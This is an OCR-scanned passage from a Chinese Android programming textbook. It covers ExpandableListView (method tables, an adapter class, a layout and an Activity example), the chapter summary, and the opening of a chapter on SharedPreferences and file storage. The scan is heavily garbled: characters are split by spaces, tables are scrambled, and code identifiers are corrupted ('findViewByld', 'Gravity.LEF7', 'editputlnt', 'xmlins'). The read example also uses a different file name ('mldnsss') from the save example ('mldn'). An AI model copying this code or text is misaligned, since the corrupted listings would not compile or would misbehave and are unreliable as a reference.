ListView 组 件 可 以 为 用 户 提供 列表 的 显示 功能 ， 但 是 如 果 要 想 对 这 些 列 表 数 据 进行 分 组 管 
理 ， 则 需要 使 用 android.widgetExpandableListView 组 件 完成 。ExpandableListView 类 的 继承 结 


构 如 下 : 
java.lang.Object 


b android.view.View 
b android.view.ViewGroup 
b android.widget.AdapterView<T extends android.widget.Adapter> 
b android.widget.AbsListView 
b android.widget.ListView 


b android.widget.ExpandableListView 
通过 继承 结构 可 以 发 现 , ExpandableListView 是 ListView 类 的 子 类 , 所 以 在 ExpandableListView 
类 中 依然 可 以 使 用 ListView 组 件 类 所 提供 的 操作 方法 。ExpandableListView 类 的 常用 操作 方法 
如 表 7-38 所 示 。 


表 7-38 ”ExpandableListView 类 的 常用 操作 方法 


型 描 述 

构造 | 实例 化 ExpandableListView 类 的 对 象 
普通 | 关闭 指定 的 分 组 
普通 F 指 定 的 分 组 


方 ” 法 


public ExpandableListView(Context context) 


1 
2 |public boolean collapseGroup(int groupPos) 
3 


public boolean expandGroup(int groupPos) 
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续 表 

No. 为 - 法 描述 

4 |public ListAdapter getAdapter() 取得 保存 数据 的 ListAdapter 对 象 

public ExpandableListAdapter 取得 保存 数据 的 ExpandableListAdapter 
getExpandableListAdapter0) 对 象 

总 public static int getPackedPositionType(long 取得 操作 的 菜单 项 的 类 型 (判断 是 菜单 
packedPosition) 组 ， 还 是 菜单 项 ) 

public Si getPackedPositionGroup(long 取得 操作 所 在 的 菜单 组 编号 
packedPosition) 

public static int getPackedPositionChild(long 取得 操作 所 在 的 菜单 项 编号 


ackedPosition 


9 |public long getSelectedId0 


取得 当前 所 操作 的 菜单 ID, 如 果 没 有 则 
是 返回 -1 


public void setAdapter(ExpandableListAdapter 
adapteD) 


11 |public void setAdapter(ListAdapter adapter) 设置 适配器 数据 对 象 
public boolean setSelectedChild(int groupPosition 


普通 。 | 设置 选中 的 菜单 项 
int childPosition, boolean shouldExpandGroup) is 
ublic void setSelectedGroup(int groupPosition) 设置 选中 的 菜单 纪 


public void setOnChildClickListener 
(ExpandableListView.OnChildClickListener 普通 
onChildClickListener 

public void setOnGroupClickListener 
(ExpandableListView.OnGroupClickListener 
onGroupClickListener) 


设置 菜单 项 的 单 击 事件 处 理 


设 时 


菜单 组 的 单 击 事件 处 理 


Er 


public void setOnGroupCollapseListener 
(ExpandableListView.OnGroupCollapseListener 
onGroupCollapseListener) 


16 设置 菜单 组 关闭 的 事件 处 理 


public void setOnGroupExpandListener 
(ExpandableListView.OnGroupExpandListener 普通 设 
onGrouUpExpandListener 


17 置 菜 单 组 打开 的 事件 处 


he 


public void setOnItemClickListener 
AdapterView.OnItemClickListener 1 


18 设置 选项 单 击 的 事件 处 理 


通过 表 7-38 可 以 发 现 ， 在 ExpandableListView 组 件 中 ， 除 了 之 前 所 讲解 过 的 几 种 基本 事件 
之 外 ， 还 增加 了 许多 新 的 事件 操作 ， 如 分 组 打开 (setOnGroupExpandListener0 ) 、 单 击 分 组 项 
(setOnChildClickListener) 等 , 每 种 事件 又 多 了 许多 事件 的 处 理 接口 , 这 些 接口 的 作用 如 表 7-39 
所 示 。 


表 7-39 ” ”ExpandableListView 提供 的 监听 接口 
作 用 定义 方法 
、 ublic boolean onChildClick andableListView parent, 
单 击 子 选项 | paomie be np 
View v, int eroupPosition, int childPosition, long 1d) 


监听 接口 名 称 


ExpandableListView. 
OnChildClickListener 
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续 表 
作用 定义 方法 
ExpandableListView. 单 击 分 组 项 public boolean onGroupClick(ExpandableListView parent, 
OnGroupClickListener View Vv, int eroupPosition, long id) 


ExpandableListView. 
OnGroupCollapseListener 


ExpandableListView. a 
分 组 打开 public void onGroupExpand(int groupPosition) 
OnGroupExpandListener 


分 组 关闭 public void onGroupCollapse(int groupPosition) 


与 ListView 组 件 一 样 ， 如 果 要 想 进 行 数据 显示 的 设置 也 需要 一 个 适配器 类 ， 但 是 此 时 不 再 


继承 之 前 的 BaseAdapter， 而 是 继承 android.widget.BaseExpandableListAdapter 类 完成 ， 此 类 是 
android.widget.ExpandableListAdapter 接口 的 子 类 ， 也 是 一 个 抽象 类 ， 所 以 子 类 要 做 写 类 中 的 所 
有 抽象 方法 ， 而 BaseExpandableListAdapter 的 子 类 所 需要 获 写 的 方法 如 表 7-40 所 示 。 


lo lv Is 


10 


表 7-40 ”BaseExpandableListAdapter 类 需要 被 子 类 覆 写 的 方法 
方 ” 法 类 型 描述 


、 获得 指定 组 中 的 指定 索引 的 子 
public Object getChild(int groupPosition, int childPosition) 普通 项 数 本 站 A 
癌 


ublic long getChildId(int groupPosition, int childPositiom 获得 指定 子 项 数据 的 ID 
public View getChildView(int groupPosition, int childPosition, 


boolean isLastChild, View convertView, ViewGroup 普通 | 获得 指定 子 项 的 View 组 件 
parent 
public int getChildrenCount(int groupPosition) 取得 指定 组 中 所 有 子 项 的 个 数 
ublic Object getGroup(int groupPosition) 取得 指定 组 数据 
ublic int getGroupCount( 取得 所 有 组 的 个 数 
ublic long getGroupId(int groupPosition) 普通 取得 指定 索引 的 组 ID 


Phi View EPSr onp Vomit Bronpbositinn, boolean 普通 获得 指定 组 的 View 组 件 

isExpanded,View convertView, ViewGroup parent) 

如 果 返 回 true, 表示 子 项 和 组 的 ID 
始终 表示 一 个 固定 的 组 件 对 象 


wiie lockean 1isChildSelectable(int groupPosition, int 普通 判断 指定 的 子 选项 是 否 被 选中 
childPosition 


[a 


public boolean hasStableIds0 普 


下 面 通过 一 段 具体 的 代码 演示 树 型 组 件 的 实现 。 
【 例 7-101】 定义 适配器 类 一 一 MyExpandableListAdapter.java 
package org.Ixh.demo; 
import android.content.Context; 
import android.view. Gravity; 
import android.view.View; 
import android.view.ViewGroup; 
import android.widget.AbsListView; 
import android.widget.BaseExpandableListAdapter; 
import android.widget. TextView; 
/| 继承 BaseExpandableListAdapter 并 覆 写 类 中 的 抽象 方法 
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public class MyExpandableListAdapter extends BaseExpandableListAdapter { 
public String[] groups = { "我 的 好 友 ", "家 人 ", "同事 ", " 黑 名 单 " }; // 组 名 称 
public String[[] children = { 
{ "李兴华 ", " 董 鸣 楠 ", " 王 月 清 ", " 周 艳 军 " }， 
{ "父亲 ", "母亲 " }, { " 刘 宏 伟 ", " 李 祺 ", " 刘 媛 " }, 


{" 票 贩子 ", "造假 商 " } }; // 定 义 组 项 

private Context context = null; // 保 存 上 下 文 对 象 

public MyExpandableListAdapter(Context context) { // 构 造 方法 接收 
this.context = context; 

| 

@Override 

public Object getChild(int groupPosition, int childPosition) { // 取 得 指定 的 子 项 
return this.children[groupPosition][childPosition]; 

} 

@Override 

public long getChildld(int groupPosition, int childPosition) { // 取 得 子 项 ID 
return childPosition; 

} 

public TextView buildTextView() { // 自 定义 方法 ， 建 立 文本 
AbsListView.LayoutParams param = new AbsListView.LayoutParams( 

ViewGroup.LayoutParams.FILL_PARENT, 35); /指定 布局 参数 

TextView textView = new TextView(this.context); 1/ 创建 TextView 
textView.setLayoutParams(param); // 设 置 布局 参数 
textView.setTextSize(15.0f); /设置 文字 大 小 
textView.setGravity(Gravity.LEF7); // 左 对 齐 
textView.setPadding(40, 8, 3, 3); /间距 
return textView; // 返 回 组 件 

} 

@Override 


public View getChildView(int groupPosition, int childPosition, 
boolean isLastChild, View convertView, ViewGroup parent) { /返回 子 项 组 件 


TextView textView = buildTextView(); // 创 建 TextView 
textView.setText(getChild(groupPosition, 
childPosition).toString()); // 设 置 显示 文字 

return textView; 

@Override 

public int getChildrenCount(int groupPosition) { // 取 得 子 项 个 数 
return this.children[groupPosition].length; // 取 得 子 项 个 数 

} 

@Override 

public Object getGroup(int groupPosition) { // 取 得 组 对 象 
return this.groups[groupPosition]; 

上 

@Override 

public int getGroupCount() { // 取 得 组 个 数 
return this.groups.length; 

} 

@Override 

public long getGroupld(int groupPosition) { // 取 得 组 ID 
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return groupPosition; 


@Override 
public View getGroupView(int groupPosition, boolean isExpanded, 
View convertView, ViewGroup parent) { // 取 得 组 显示 组 件 

TextView textView = buildTextView(); // 建 立 组 件 
textView.setText(this.getGroup(groupPosition).toString()); // 设 置 文字 
return textView; 

} 

@Override 


public boolean hasStablelds() { 
return true; 


} 
@Override 
public boolean isChildSelectable(int groupPosition, int childPosition) { 
return true; 
} 
} 
本 程序 直接 完成 了 一 个 ExpandableListAdapter 类 的 适配器 定义 ， 并 且 直 接 继承 
BaseExpandableListAdapter 抽象 类 ,而 后 按照 要 求 覆 写 所 有 的 抽象 方法 ， 并 且 将 分 组 项 的 信息 和 
子 项 的 信息 都 分 别 使 用 TextView 组 件 进行 包装 。 
【 例 7-102】 定义 布局 管理 器 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ExpandableListView // 定 义 树 型 组 件 

android:id="@+id/elistview" // 组 件 ID， 程 序 中 使 用 

android:layout_width="7/_parent" // 组 件 宽度 为 屏幕 宽度 

android:layout_height= "wrap_content"/> // 组 件 高 度 为 自身 高 度 
</LinearLayout> 


本 布局 管理 器 中 只 定义 了 一 个 ExpandableListView 组 件 ， 这 与 之 前 所 使 用 的 ListView 组 件 

的 操作 形式 是 一 样 的 ， 在 Activity 中 实现 对 组 件 内 容 的 填充 。 
【 例 7-103】 定义 Activity 程序 ， 实 现 树 型 列表 一 MyExpandableListViewDemo .java 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.ContextMenu; 

import android.view.ContextMenu.ContextMenulnfo; 

import android.view.View; 

import android.widget.ExpandableListAdapter 

import android.widget.ExpandableListView; 

import android.widget.ExpandableListView.OnChildClickListener:; 

import android.widget.ExpandableListView.OnGroupClickListener; 

import android.widget.ExpandableListView.OnGroupCollapseListener; 

import android.widget.ExpandableListView.OnGroupExpandListener; 
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import android.widget. Toast; 
public class MyExpandableListViewDemo extends Activity { 


private ExpandableListView elistview = null; // 定 义 树 型 组 件 
private ExpandableListAdapter adapter = null; // 定 义 适配器 对 象 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); /默认 布局 管理 器 
this.elistview = (ExpandableListView) super 
findViewByld(R.id.elistview); // 取 得 组 件 
this.adapter = new MyExpandableListAdapter(this); /实例 化 适配器 
this.elistview.setAdapter(this.adapter); // 设 置 适 配器 
super.registerForContextMenu(this.elistview); 1/ 注册 上 下 文 菜单 
this.elistview.setOnChildClickListener( 
new OnChildClickListenerlmpl()); /设置 子 项 单 击 事件 
this.elistview.setOnGroupClickListener( 
new OnGroupClickListenerlmpl()); // 设 置 组 项 单 击 事件 
this.elistview.setOnGroupCollapseListener( 
new OnGroupCollapseListenerlmpl()); /关闭 分 组 事件 
this.elistview.setOnGroupExpandListener( 
new OnGroupExpandListenerlmpl()); /展开 分 组 事件 
} 
private class OnChildClickListenerImpl implements OnChildClickListener { 
@Override 
public boolean onChildClick(ExpandableListView parent, View v, 
int groupPosition, int childPosition, long id) { 
Toast.makeText( 
MyExpandableListViewDemo.this, 
" 子 选项 被 选中 ，groupPosition = " + groupPosition 
+", childPosition = " + childPosition, 
Toast.LENGTH_SHORT).show(); // 显 示 提 示 框 
return false; 
} 
} 
private class OnGroupClickListenerImpl implements OnGroupClickListener { 
@Override 
public boolean onGroupClick(ExpandableListView parent, View v, 
int groupPosition, long id) { 
Toast.makeText(MyExpandableListViewDemo.this, 
"分 组 被 选中 ，groupPosition = " + groupPosition, 
Toast.LENGTH_SHORT).show(): // 显 示 提示 框 
return false; 
} 
} 


private class OnGroupCollapseListenerImpl implements 
OnGroupCollapseListener { 
@Override 
public void onGroupCollapse(int groupPosition) { 
Toast.makeText(MyExpandableListViewDemo.this, 
"关闭 分 组 ，groupPosition = " + groupPosition, Toast.LENGTH_SHOR7) 
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.show(); // 显 示 提 示 框 
} 
} 
private class OnGroupExpandListenerlImpl implements OnGroupExpandListener { 
@Override 
public void onGroupExpand(int groupPosition) { 
Toast.makeText(MyExpandableListViewDemo.this, 
"打开 分 组 ，groupPosition = " + groupPosition, Toast.LENGTH_SHORT) 
.show(); // 显 示 提 示 框 
1 
} 
@Override 


public void onCreateContextMenu(ContextMenu menu, View view, 
ContextMenulnfo menulnfo) { 
super.onCreateContextMenu(menu, view, menulnfo); 
ExpandableListView.ExpandableListContextMenulnfo info = 
(ExpandableListView.ExpandableListContextMenulnfo) menulnfo; 
int type = ExpandableListView 
.getPackedPositionType(info.packedPosition);// 取 得 操作 的 菜单 项 
int group = ExpandableListView 
.getPackedPositionGroup(info.packedPosition);// 取 得 菜单 项 所 在 的 菜单 组 
int child = ExpandableListView 
.getPackedPositionChild(info.packedPosition); // 取 得 子 菜单 项 的 索引 
Toast.makeText(MyExpandableListViewDemo.this, 
"type =" +type +", group ="+ group +", child= "+ child, 
Toast.LENGTH_SHORT).show(); // 显 示 提 示 框 
} 
} 
本 程序 的 功能 就 是 将 MyExpandableListAdapter 类 中 定义 的 所 有 数据 显示 到 ExpandableListView 
组 件 中 ， 为 了 帮助 读者 理解 ， 本 程序 在 ExpandableListView 组 件 中 设置 了 多 个 事件 监听 ， 而 且 
也 注册 了 一 个 上 下 文 菜单 ， 当 选择 不 同 项 (组 或 子 项 ) 时 都 会 返回 用 户 操作 的 数据 类 型 (组 或 


子 项 ) 的 索引 。 程 序 的 运行 效果 如 图 7-56 所 示 。 


图 7-56 树 型 菜单 
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7.20 本 章 小 结 


(1) 如 果 用 户 在 一 个 屏幕 上 添加 了 多 个 组 件 ， 则 可 以 使 用 ScrollView 进行 包装 实现 滚动 的 
效果 ， 但 是 ScrollView 组 件 只 能 对 一 个 组 件 进行 包装 。 

(2) ListView 可 以 实现 数据 的 列表 显示 ， 可 以 通过 SimpleAdapter 类 实现 数据 的 封装 。 

(3) 对 话 框 可 以 进行 信息 的 提示 ， 用 户 可 以 使 用 系统 定义 的 对 话 框 显示 ， 也 可 以 通过 布局 
管理 器 定义 自己 的 对 话 框 显示 布局 。 

(4) AutoCompleteTextView 组 件 可 以 实现 随笔 提示 功能 。 

(5) SeekBar 可 以 进行 拖 动 条 的 实现 ， 用 户 可 以 使 用 OnSeekBarChangeListener 接口 对 组 件 
的 状态 进行 监听 。 

(6) 评分 组 件 (RatingBar) 可 以 使 用 系统 定义 的 样式 ， 也 可 以 由 用 户 自 定义 样式 。 

(7) 使 用 ImageSwitcher 和 TextSwitcher 可 以 进行 图 片 及 文本 的 切换 显示 ， 但 需要 用 户 自 
定义 一 个 ViewFactory 类 。 

(8) Gallery 可 以 实现 图 片 的 拖拉 显示 功能 ， 也 可 以 结合 ImageSwitcher 组 件 完成 相册 程序 
的 开发 。 

(9) GridView 可 以 实现 数据 的 表格 显示 ， 其 内 容 可 以 使 用 SimpleAdapter 类 设置 ， 也 可 以 
通过 自 定义 的 适配器 设置 。 

(10) 手机 震动 属于 系统 服务 (Service.VIBRATOR _SERVICE) 的 功能 ， 在 第 9 章 中 将 进 
行 服务 概念 的 讲解 。 

(11) 使 用 标签 可 以 对 程序 进行 归 类 显示 ， 用 户 可 以 通过 程序 或 配置 文件 完成 ， 但 是 使 用 
这 种 方式 显示 的 标签 并 不 美观 ， 而 在 第 9 章 中 会 为 读者 讲解 一 个 更 方便 的 标签 菜单 实现 。 

(12) Android 中 的 菜单 分 为 3 类 : 选项 菜单 、 上 下 文 菜单 和 子 菜单 。 

(13) 使 用 SlidingDrawer 组 件 可 以 节约 显示 的 空间 ， 将 部 分 功能 进行 归 类 。 

(14) 使 用 缩放 组 件 可 以 对 其 他 组 件 的 大 小 进行 控制 。 

(15) 实现 弹出 窗口 可 以 使 用 PopupWindow 组 件 ， 弹 出 窗口 本 身 也 需要 一 个 布局 管理 器 定 
义 组 件 ， 在 第 9 章 中 会 对 弹出 窗口 的 功能 做 进一步 的 扩充 讲解 。 

(16) 如 果 要 想 实 现 树 型 的 组 件 摆 放 ， 可 以 使 用 ExpandableListView 组 件 完成 。 
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章 的 学 习 可 以 达到 以 下 目标 : 
掌握 Android 中 5 种 数据 存储 的 特点 及 操作 。 
掌握 SharedPreferences 存储 数据 的 操作 。 
可 以 使 用 文件 进行 数据 的 存储 。 
可 以 使 用 DOM、SAX、Pull 进行 XML 解析 操作 以 及 使 用 JSON 进行 数据 操作 。 
掌握 SQLite 数据 库 的 使 用 ， 并 可 以 使 用 SQLite 数据 库 进 行 CRUD 操作 。 
理解 ContentProvider 的 作用 并 可 以 使 用 系统 提供 的 ContentProvider 进行 操作 。 

在 实际 的 应 用 程序 开发 中 ,数据 的 保存 与 读 取 是 最 为 重要 的 操作 , 而 在 Android 操作 系统 中 ， 
也 提供 了 专门 的 数据 操作 ， 用 户 可 以 利用 文件 或 者 是 系统 本 身 提供 的 数据 库 完 成 这 种 操作 。 在 
Android 操作 系统 中 ， 提 供 了 5 种 数据 存储 方式 : SharedPreferences 存储 、 文 件 存储 、SQLite 数 
据 库 存储 、ContentProvider 存储 和 网 络 存储 〈 将 在 第 12 章 中 讲解 ) 。 本 章 将 讲解 Android 数据 
存储 有 关 的 操作 。 
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8.1 SharedPreferences 存储 


在 实际 的 软件 运行 中 , 往往 需要 许多 配置 参数 信息 ,如 Windows 操作 系统 的 引导 文件 bootini 
就 保存 了 操作 系统 的 配置 参数 ， 在 编写 JavaSE 或 JavaEE 时 ， 也 往往 会 使 用 资源 文件 
(*.properties) 保存 一 些 系统 的 配置 信息 ， 而 在 Android 中 ， 如 果 要 想 实现 配置 信息 的 保存 则 需 
要 使 用 SharedPreferences 完成 。 
SharedPreferences 提供 了 一 些 基础 的 信息 保存 功能 ， 所 有 的 信息 都 是 按照 “key=value” 的 形 
式 进 行 保存 的 ， 但 是 android.content.SharedPreferences 接口 所 保存 的 信息 只 能 是 一 些 基本 的 数据 
类 型 ， 如 字符 串 、 整 型 、 布 尔 型 等 ， 此 接口 的 常用 方法 如 表 8-1 所 示 。 


/提示 
SharedPreferences 类 似 于 Properties 类 的 操作 。 
由 于 SharedPreferences 保存 的 信息 比较 简单 , 所 以 一 般 用 于 保存 一 些 配置 信息 , 这 与 Java 
SE 中 的 Properties 和 资源 文件 (*.properties ) 比较 类 似 。 
关于 java.util Properties 类 及 资源 文件 的 相关 内 容 ， 读 者 可 以 参考 《名 师 讲坛 一 一 Java 开发 实 
战 经 典 》 一 书 。 


表 8-1 SharedPreferences 接口 的 常用 方法 


No. 描述 
1 |public abstract SharedPreferences Editor editO 使 其 处 于 可 编辑 状态 


2 |public abstract boolean contains(String key) 判断 某 一 个 key 是 否 存 在 


No. 及 ;法 


3 |public abstract Map<String, ?> getAll0 取出 全 部 的 数据 


取出 boolean 型 数据 ， 并 指定 默 
认 值 
取出 float 型 数据 ， 并 指定 默认 值 


public abstract boolean getBoolean(String key, boolean 
defValue, 
public abstract float getFloat(String key, float defValue) 


取出 int 型 数据 ， 并 指定 默认 值 


public abstract long getLong(String key, long defValue) 取出 long 型 数据 ， 并 指定 默认 值 


5 
6 |public abstract int getInt(String key, int defValue) 
7 
8 


取出 String 型 数据 , 并 指定 默认 值 


如 果 要 想 进行 数据 的 写 入 ， 则 必须 首先 通过 SharedPreferences 类 所 提供 的 edit0 方 法 才 可 以 
让 其 处 于 可 编辑 的 操作 状态 ， 此 方法 返回 的 对 象 类 型 是 android.content.SharedPreferences.Editor 
接口 实例 ， 此 接口 的 常用 方法 如 表 8-2 所 示 。 

表 8-2 SharedPreferences.Editor 接口 的 常用 方法 


= 
public abstract SharedPreferences.Editor clear() 清除 所 有 的 数据 


public abstract String getString(String key. String defValue) 


public abstract boolean commit 提交 更 新 的 数据 


public abstract SharedPreferences.Editor putBoolean(String key, i 保存 一 个 boolean 型 
boolean value) 数据 
ER abstract SharedPreferences.Editor putFloat(String key, float i 保存 一 个 float 型 数据 


public abstract SharedPreferences.Editor putInt(String key, int value) 普 和 保存 一 个 int 型 数据 


eS abstract SharedPreferences.Editor putLong(String key, long i 保存 一 个 long 型 数据 
Value 


public abstract SharedPreferences.Editor putString(String key, String 
value) 


普通 | 删除 指定 key 的 数据 
由 于 SharedPreferences 和 SharedPreferences.Editor 两 个 都 是 接口 , 所 以 要 想 取 得 SharedPreferences 
接口 的 实例 化 对 象 ， 还 需要 Activity 类 中 的 几 个 常量 和 方法 的 支持 ， 如 表 8-3 所 示 。 


保存 一 个 String 型 数据 


提示 
数据 操作 方法 从 ContextWrapper 类 继承 而 来 。 
为 了 方便 读者 的 理解 ， 本 书 只 是 简单 地 将 所 有 文件 的 操作 方法 归 类 于 Activity 类 ， 但 实 
” 际 上 所 有 的 方法 都 是 Activity 类 从 ContextWrapper 类 继承 而 来 的 ， 以 下 定义 了 Activity 类 的 
继承 结构 : 
java.lang.Object 


b android.content.Context 
b android.content.ContextWrapper 
b android.view.ContextThemeWrapper 


b android.app.Activity 
所 以 ， 读 者 在 查询 相关 存储 方法 时 一 定 要 注意 方法 所 属 的 类 或 接口 。 
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表 8-3 ”Activity 类 对 SharedPreferences 接口 的 支持 
及 方法 


Pe 


描 
创建 的 文件 只 能 被 一 个 应 用 程序 调 
用 ,或 者 被 具有 相同 ID 的 应 用 程序 
访问 


6 
Fu 
Le 


1 |public static final int MODE PRIVATE 


public static final mt MODE WORLD 


允许 其 他 应 用 程序 读 取 文件 
READABLE 
public static final int MODE WORLD 允许 其 他 应 用 程序 修改 文件 
WRITEABLE 
指定 保存 操作 的 文件 名 称 ， 同 时 指 
定 操作 的 模式 , 设置 的 内 容 可 以 是 0、 
六 public SharedPreferences getSharedPreferences MODE PRIVATE、 MODE WORID 


Stri ,int 
(Sing ame nt mods) READABLE、 MODE WORLD_ 


WRITEABLE 


为 了 更 好 地 说 明 本 操作 ， 下 面 编 写 一 个 程序 ， 向 文件 中 保存 两 种 数据 : String 型 和 int 型 。 
另外 ， 需 要 注意 的 是 ， 在 使 用 SharedPreferences 存储 数据 时 ， 不 需要 指定 文件 后 级 ， 后 级 自动 
设置 为 *xml， 例 如 ， 现 在 用 户 配置 的 文件 名 称 是 mldn， 则 保存 之 后 的 文件 名 称 自动 设置 为 
mldn.xml。 

【 例 8-1】 保存 数据 一 一 SaveDatajava 

package org.Ixh.demo; 

import android.app.Activity; 

import android.content.SharedPreferences; 

import android.os.Bundle; 

public class SaveData extends Activity { 


private static final String FILENAME = "mldn"; // 文 件 名 称 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 父 类 onCreate() 
setContentView(R.layout.main); // 调 用 布局 文件 
SharedPreferences share = super.getSharedPreferences(FILENAME, 

Activity.MODE_PRIVATE); 1/ 指定 操作 的 文件 名 称 

SharedPreferences.Editor edit = share.edit(); // 编 辑 文件 
edit.putString("author", "LiXingHua") ; // 保 存 字符 串 
editputlnt("age", 30); // 保 存 整 型 
edit.commit() ; // 提 交 更 新 

} 


| 

在 本 程序 中 ， 由 于 不 需要 任何 的 界面 显示 操作 ， 所 以 取消 了 super.setContentView() 操 作 ， 而 
后 利用 程序 将 所 有 的 数据 保存 在 了 mldn xml 文件 中 用 户 在 编写 时 并 不 需要 编写 *.xml 的 后 缀 ) ， 
然后 利用 getSharedPreferences0 方 法 取得 SharedPreferences 对 象 , 并 利用 此 对 象 取得 SharedPreferences. 
Editor 接口 的 对 象 进行 数据 的 设置 ， 最 后 使 用 commit0 方 法 进行 提交 。 
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NC 位 田 

提问 : 数据 保存 在 哪里 ? 

本 程序 运行 之 后 ， 所 有 的 数据 保存 在 了 mldn.xml 文件 中 ， 但 是 该 文件 保存 在 哪里 ? 其 
保存 格式 又 是 什么 ? 
”回答 : 保存 在 DDMS 中 。 


如 果 用 户 需要 查看 文件 , 可 以 选择 Window 一 Open Perspective 一 Other 命令 , 打开 DDMS 
视图 ， 如 图 8-] 所 示 。 


CY5 Repostory Exploring 


幕 oebug 
塌 )ava (defaut) 


图 8-1 打开 DDMS 视图 


打开 之 后 选择 File Explorer\data\data\<package name>\shared prefs\ 目 录 下 就 可 以 发 现 生 
成 的 mldn.xml 文件 ， 如 图 8-2 所 示 。 

找到 之 后 ， 可 以 单 击 DDMS 工具 栏 中 的 Pull a file from the device 按钮 ， 如 图 8-3 所 示 ， 
早出 文件 。 


SB org,bh.demo 2011-01-11 10:41 drwxr-x--x 
田 色 了 b 2010-09-07 10;19 drwxr-xr-x 附和 壬 | 一 ”°° 口 
日 BB shared_prefs 2011-01-11 11:00 drwxrwx--x rr PS 
国 mldn,xml 141 2011-01-11 10:41 -rw-rw--- Pull a file from the device 
图 8-2 文件 保存 路 径 图 8-3 导出 文件 


导出 之 后 ， 可 以 直接 通过 记事 本 打开 mldn.xml 文件 ， 文 件 内 容 如 下 : 
<?xml version='1.0' encoding='utf-8' standalone=yes?> 
<map> 
<string name="author">LiXingHua</string> 
<int name="age" value="30"/> 
</map> 
通过 文件 内 容 可 以 发 现 ， 不 同 的 数据 类 型 将 保存 在 不 同 的 节点 中 。 
另外 ， 读 者 也 可 以 通过 File Explorer 视图 按照 指定 的 路 径 查 找 所 保存 的 文件 。 


gm 


提示 
数据 的 保存 必须 使 用 commit0 方 法 。 
当 数 据 设 置 完成 之 后 ， 必 须 使 用 commit() 方 法 ， 才 可 以 真正 地 保存 所 配置 的 数据 信息 ， 
否则 数据 不 会 保存 。 


上 面 已 经 通过 SharedPreferences 进行 了 数据 的 保存 ,那么 下 面 再 利用 SharedPreferences 进行 
数据 的 读 取 。 在 进行 数据 读 取 时 ， 可 以 直接 利用 getXxx0 方 法 根据 key 进行 读 取 ， 也 可 以 直接 通 
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过 getAll0 方 法 将 全 部 的 数据 按照 Map 集合 的 方式 取出 。 


将 之 前 保存 在 mldn.xml 文件 


【 例 8-2】 定义 布局 文件 ， 用 于 信息 显示 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


// 使 用 线性 布局 管理 器 


xmlns:android="http:/schemas.android.com/apK/res/android”" 


android:orientation="Vertical" 
android:layout_width="fill_ parent" 
android:layout_height="fill_ parent”> 
<TextView 
android:id="@+id/authorinfo" 
android:textSize="22px” 
android:textColor="#FFFFFF" 
android:layout_width="fill_parent" 
android:layout_height="wrap_content"/> 
<TextView 
android:id="@+id/ageinfo”" 
android:textSize="22px” 
android:textColor="#FFFFFF" 
android:layout_width="fill_parent” 
android:layout_height="wrap_content"/> 
</LinearLayout> 


/所 有 组 件 垂直 摆 放 

/此 布局 管理 器 的 宽度 为 屏幕 宽度 
/此 布局 管理 器 的 高 度 为 屏幕 高 度 
// 定 义 文本 显示 组 件 

1/ 组件 ID， 程 序 中 使 用 

// 文 字 大 小 

// 文 字 颜 色 

// 组 件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 文字 高 度 
/定义 文本 显示 组 件 

// 组 件 ID， 程 序 中 使 用 
/文字 大 小 

/文字 颜色 

// 组 件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 文字 高 度 


本 布局 文件 中 只 定义 了 两 个 文本 显示 组 件 ， 之 后 要 通过 SharedPreferences 将 之 前 设置 的 
author 和 age 的 信息 设置 到 此 组 件 上 。 


【 例 8-3】 读 取 数据 操作 一 一 LoadDatajava 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content.SharedPreferences; 
import android.os.Bundle; 
import android.widget. TextView; 
public class LoadData extends Activity { 


private static final String FILENAME = "mldnsss"; /文件 名 称 


private TextView authorlnfo = null ; 
private TextView agelnfo = null ; 
@Override 


public void onCreate(Bundle savedInstanceState) { 


super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main) ; 


// 文 本 显示 
// 文 本 显示 


// 定 义 布局 管理 器 


this.authorlnfo = (TextView) super.findViewByld(R.id.authorinfo) ; 
this.agelnfo = (TextView) super.findViewByld(R.id.ageinfo) ; 
SharedPreferences share = super.getSharedPreferences(FILENAME, 


Activity.MODE_PRIVATE); 


1/ 指定 操作 的 文件 名 称 


this.authorlnfo.setText(" 作 者 : "+ share.getString("author", "没有 作者 信息 。")); 
this.agelnfo.setText(" 年 龄 : " + share.getlnt("age", 0)); 


} 
} 


本 程序 直接 通过 super.getSharedPreferences() 方 法 找到 要 操作 的 文件 ,之 后 利用 getXxx0 方 法 


本 组 件 中 ， 程 序 运行 之 后 的 效果 如 图 8-4 所 示 。 
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图 8-4 ” 读 取 数据 


82 文件 存储 


使 用 SharedPreferences 可 以 方便 地 完成 数据 的 存储 功能 ， 但 是 其 只 能 保存 一 些 很 简单 的 数 
据 , 如 果 想 存储 更 多 类 型 的 数据 , 则 需要 使 用 文件 的 存储 操作 。 对 于 文件 的 存储 操作 , 在 Android 
中 有 两 种 形式 。 

形式 一 : 直接 利用 Activity 提供 的 文件 操作 方法 。 此 类 操作 的 所 有 文件 路 径 只 能 是 

“\data\data\<package name>\files\ 文 件 名 称 ”。 
形式 二 : 利用 Java IO 流 执行 操作 。 此 类 操作 的 文件 可 以 是 任意 路 径 〈 包 括 sdcard) 下 ， 
但 是 需要 为 其 操作 授权 。 


8.2.1 利用 Activity 类 操作 数据 文件 


文件 操作 可 以 直接 使 用 Activity 类 完成 ， 在 Activity 类 中 定义 了 一 些 方法 ， 以 支持 文件 的 操 
作 ， 这 些 方法 如 表 8-4 所 示 。 
表 8-4 Activity 类 对 文件 操作 的 支持 
描述 


public FileInputStream openFileInput 设置 要 打开 的 文件 输入 流 


(String name) 


设置 要 打开 的 文件 输出 流 ， 指 定 操作 的 模式 ， 可 
public FileOutputStream openFileOutput Si 以 是 0、MODE APPEND、MODE PRIVATE、 
(String name, int mode) MODE WORLD READABLE MODE WORLD 
WRITEABLE 


